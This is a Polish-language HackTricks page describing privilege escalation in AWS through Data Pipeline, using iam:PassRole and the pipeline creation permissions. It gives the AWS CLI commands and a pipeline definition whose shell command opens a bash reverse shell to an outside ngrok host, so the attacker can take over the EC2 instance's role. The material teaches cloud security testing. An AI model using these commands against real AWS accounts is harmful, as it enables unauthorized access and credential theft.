AWS - Datapipeline Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

datapipeline

Więcej informacji o datapipeline znajdziesz:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Użytkownicy posiadający te uprawnienia mogą eskalować przywileje poprzez utworzenie Data Pipeline, aby wykonać dowolne polecenia używając uprawnień przypisanej roli:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Po utworzeniu pipeline’a atakujący aktualizuje jego definicję, aby narzucić konkretne działania lub tworzenie zasobów:

{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}

Note

Zwróć uwagę, że role w linii 14, 15 i 27 musi być assumable by datapipeline.amazonaws.com, a role w linii 28 musi być assumable by ec2.amazonaws.com with a EC2 profile instance.

Ponadto instancja EC2 będzie miała dostęp tylko do role, którą może przejąć ta instancja EC2 (więc możesz ukraść tylko tę).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

The Plik definicji potoku, przygotowany przez atakującego, zawiera dyrektywy do wykonywania poleceń lub tworzenia zasobów za pomocą AWS API, wykorzystując uprawnienia roli Data Pipeline, co może pozwolić na uzyskanie dodatkowych uprawnień.

Potencjalny wpływ: Bezpośrednie privesc do określonej roli serwisowej ec2.

References

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks